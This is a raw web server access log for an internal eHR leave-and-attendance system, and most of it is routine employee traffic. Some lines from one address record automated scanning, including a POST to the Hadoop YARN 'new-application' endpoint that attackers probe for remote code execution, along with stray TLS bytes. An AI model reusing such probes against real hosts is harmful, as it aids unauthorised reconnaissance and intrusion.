192.168.40.39 - - [05/Sep/2025:10:01:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:10:01:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:01:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:10:01:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:10:01:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:01:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:10:01:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:01:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:10:01:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:01:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:10:01:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:01:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:01:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:10:01:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:01:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:10:01:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:01:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:10:01:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:01:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:10:01:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:01:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:10:01:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10351
192.168.40.39 - - [05/Sep/2025:10:01:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10351 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:01:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12104 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:01:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12104
192.168.40.39 - - [05/Sep/2025:10:01:37 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3998 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:01:37 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3998
100.64.0.1 - - [05/Sep/2025:10:03:59 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:10:03:59 +0800] "GET / HTTP/1.1" 200 439
192.168.11.148 - - [05/Sep/2025:10:04:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:10:04:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.148 - - [05/Sep/2025:10:04:09 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.11.148 - - [05/Sep/2025:10:04:09 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:10:04:26 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9439333019793638 HTTP/1.1" 200 10228 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:10:04:26 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9439333019793638 HTTP/1.1" 200 10228
192.168.11.148 - - [05/Sep/2025:10:04:33 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9439333019793638 HTTP/1.1" 200 12411 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9439333019793638" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:10:04:33 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9439333019793638 HTTP/1.1" 200 12411
192.168.11.148 - - [05/Sep/2025:10:04:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4218 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:10:04:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4218
192.168.11.148 - - [05/Sep/2025:10:04:39 +0800] "GET /eHR/img/N.png HTTP/1.1" 200 1041
192.168.11.148 - - [05/Sep/2025:10:04:39 +0800] "GET /eHR/img/N.png HTTP/1.1" 200 1041 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:10:04:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:10:04:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.127 - - [05/Sep/2025:10:04:50 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [05/Sep/2025:10:04:50 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
100.64.0.1 - - [05/Sep/2025:10:07:33 +0800] "\x03" 501 203
100.64.0.1 - - [05/Sep/2025:10:07:33 +0800] "\x03" 501 203 "-" "-"
192.168.40.39 - - [05/Sep/2025:10:07:47 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:07:47 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.40.39 - - [05/Sep/2025:10:07:50 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:07:50 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:10:07:51 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.40.39 - - [05/Sep/2025:10:07:51 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:07:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:07:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.71 - - [05/Sep/2025:10:14:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.71 - - [05/Sep/2025:10:14:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [05/Sep/2025:10:14:06 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.71 - - [05/Sep/2025:10:14:06 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [05/Sep/2025:10:14:08 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [05/Sep/2025:10:14:08 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.71 - - [05/Sep/2025:10:14:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.71 - - [05/Sep/2025:10:14:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [05/Sep/2025:10:14:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [05/Sep/2025:10:14:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.40.39 - - [05/Sep/2025:10:17:04 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:17:04 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.40.39 - - [05/Sep/2025:10:17:09 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:17:09 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:10:17:10 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.40.39 - - [05/Sep/2025:10:17:10 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:17:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.40.39 - - [05/Sep/2025:10:17:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [05/Sep/2025:10:26:33 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:10:26:33 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:10:28:29 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:10:28:29 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:10:29:02 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:10:29:02 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:10:30:07 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:10:30:07 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:10:30:30 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0"
100.64.0.1 - - [05/Sep/2025:10:30:30 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [05/Sep/2025:10:31:51 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
100.64.0.1 - - [05/Sep/2025:10:31:51 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:10:32:13 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:10:32:13 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
100.64.0.1 - - [05/Sep/2025:10:33:16 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
100.64.0.1 - - [05/Sep/2025:10:33:16 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:10:33:39 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
100.64.0.1 - - [05/Sep/2025:10:33:39 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:10:34:44 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [05/Sep/2025:10:34:44 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [05/Sep/2025:10:35:07 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [05/Sep/2025:10:35:07 +0800] "\x16\x03\x01" 501 205 "-" "-"
192.168.11.136 - - [05/Sep/2025:10:35:34 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:34 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.136 - - [05/Sep/2025:10:35:35 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.136 - - [05/Sep/2025:10:35:35 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:35 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.11.136 - - [05/Sep/2025:10:35:35 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:35 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:35 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.136 - - [05/Sep/2025:10:35:35 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.136 - - [05/Sep/2025:10:35:35 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:35 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
